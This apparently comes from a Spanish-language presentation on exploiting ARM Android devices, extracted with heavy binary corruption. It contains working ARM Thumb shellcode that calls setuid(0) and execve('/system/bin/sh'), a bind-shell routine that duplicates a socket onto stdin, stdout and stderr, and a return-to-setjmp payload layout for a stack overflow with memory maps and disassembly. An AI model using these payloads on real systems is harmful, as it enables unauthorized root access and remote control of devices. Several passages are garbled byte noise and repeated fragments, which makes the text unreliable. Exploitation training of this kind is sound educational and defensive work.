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.globl main

main:

.CODE 32

add r2,pc,#1

bx r2

.CODE 16

thumb:
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int open(const char *camino, int flags, mode_t modo);

r0  r7 r0 r1 r2



16

%��
��
���&���

�������� ��	
������
� �	���������	
��
�

@ -- socket(2,1,0) --

@ parameters

eor r5, r5

push {r5}

add r5, r5, #1

push {r5}

add r5, r5, #1

push {r5}

@ sys_call

mov r0, #1

mov r1, sp

mov r7, #102

svc 0x00000080

mov r4, r0

G�	�

��	�
1��
��
�
���

> !��������	��	Nnet.hO

> 
C	:	�������

> 
@	:	��
,��

��

> *������	���'�
����
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@ -- socket(2,1,0) --

@ parameters

eor r5, r5

push {r5}

add r5, r5, #1

push {r5}

add r5, r5, #1

push {r5}

@ sys_call

mov r0, #1

mov r1, sp

mov r7, #102

svc 0x00000080

mov r4, r0

@ -- socket(2,1,0) -

-

mov r0, #2

mov r1, #1

eor r2, r2

mov r7, #250

add r7, #31 @ 281

svc 0x00000080

mov r4, r0
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.globl main 

main:

.CODE 32

add r2,pc,#1

bx r2

.CODE 16

thumb:

@setuid(0)

eor r0,r0

movs r7, #23

svc     0x00000080

@Prepare execve args

adr r0, string

adr r5, string2

eor r6, r6

str     r6, [r5]



20

���

���� ������ )��*

�������� ��	
������
� �	���������	
��
�

push    {r6}

push    {r0}

mov r1, sp

eor     r2, r2, r2

@call execve()

movs r7, #11

svc     0x00000080

.align 2

string:

.ascii "///system/bin/sh"

string2:

.ascii "\xAA\xAA\xAA\xAA"
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@ socket()

mov r0, #2

mov r1, #1

eor r2, r2

mov r7, #250

add r7, #31

svc   0x00000080

mov r4, r0

@ preparing sockaddr_in

eor r5, r5

push {r5}

push {r5}

push {r5}

mov r5, #7

lsl r5, #8

add r5, #7
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lsl r5, #16

add r5, #2

push {r5}

@bind()

mov r0, r4

mov r1, sp

mov r2, #16

mov r7, #250

add r7, #32

svc   0x00000080

@listen()

mov r0, r4

mov r1, #1

mov r7, #250

add r7, #34

svc   0x00000080
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@accept()

mov r0, r4

eor r1, r1

eor r2, r2

mov r7, #250

add r7, #35

svc   0x00000080

mov r6,r0

@dup2 stdin

mov r0, r6

eor r1, r1

mov r7, #63

svc 0x00000080
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@dup2 stdout

mov r0, r6

mov r1, #1

mov r7, #63

svc 0x00000080

@dup2 stderr

mov r0, r6

mov r1, #2

mov r7, #63

svc 0x00000080

@Execve shellcode appended here 
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# cat /proc/self/maps

00008000-00019000 r-xp 00000000 1f:00 348  /system/bin/...

00019000-0001a000 rw-p 00011000 1f:00 348  /system/bin/...

0001a000-00020000 rwxp 0001a000 00:00 0    [heap]

[...]

afe00000-afe39000 r-xp 00000000 1f:00 478  /system/lib/...

afe39000-afe3c000 rw-p 00039000 1f:00 478  /system/lib/...

afe3c000-afe47000 rw-p afe3c000 00:00 0 

b0000000-b0013000 r-xp 00000000 1f:00 332  /system/bin/...

b0013000-b0014000 rw-p 00013000 1f:00 332  /system/bin/...

b0014000-b001a000 rwxp b0014000 00:00 0 

beebe000-beed3000 rwxp befeb000 00:00 0  [stack] <-- ASLR

# 
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00008520 <read_msg>:

8520:  b5f0  push {r4, r5, r6, r7, lr}

8522:  4d12  ldr r5,[pc, #72] (856c+<.text+0x8c>)

8524:  b093  sub     sp, #76

8526:  a911  add     r1, sp, #68

[...]

8568:  b013  add     sp, #76

856a:  bdf0  pop     {r4, r5, r6, r7, pc} ��������
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(gdb) disass setjmp

Dump of assembler code for function setjmp:
0xafe0dd20 <setjmp+0>:  push    {r0, lr}

0xafe0dd24 <setjmp+4>:  mov r0, #0  ; 0x0
0xafe0dd28 <setjmp+8>:  blx 0xafe12094 <sigblock>

0xafe0dd2c <setjmp+12>: mov r1, r0
0xafe0dd30 <setjmp+16>: pop     {r0, lr}  ��������

0xafe0dd34 <setjmp+20>: str r1, [r0, #100]
0xafe0dd38 <setjmp+24>: ldr r1, [pc, #16]   ; 

0xafe0dd50 <setjmp+48>
0xafe0dd3c <setjmp+28>: str r1, [r0], #4

0xafe0dd40 <setjmp+32>: add     r0, r0, #52     ; 0x34
0xafe0dd44 <setjmp+36>: stm r0, {r4-r12, sp, lr}  ��������

0xafe0dd48 <setjmp+40>: mov r0, #0  ; 0x0
0xafe0dd4c <setjmp+44>: bx lr



33

"�,,��
����,
�-� . ���1���0��

� *�	
P������
� )�
�
	�
�$ ��	
����

��	���

������

� ���
�	�	��
 ��VC�@C

� -�
�
��	�	���	
����

��	���

������

� -���
�
	��	������
����	�,�	������

� *���
�������
� 2�����
����	���

���
	��	�����	��	
����

�

� 2�����
����	��
 �� ��	��
������	�
�����$��

� 2�����
����	
�����	
�� ��
�	����
	����

��������	��	
������
�	�	������ ��	
��
�



34

"�,,��
����,
�-� 2 3��

!�,,��

� G�	����

�	����	���

������	
B>
?

�������� ��	
������
� �	���������	
��
�



35

"�,,��
����,
�-� 2 3��

!�,,��

� G�	����

�	����	���

������	
B>
?

�������� ��	
������
� �	���������	
��
�

<padding> -> Rellena el buffer

<b sp><b sp><b sp><b sp> --> r4-r7
<0xafe0dd30> --> setjmp+0x10

<destino><destino+offset_r4> --> r0,lr

<shellcode> --> evil shellcode �
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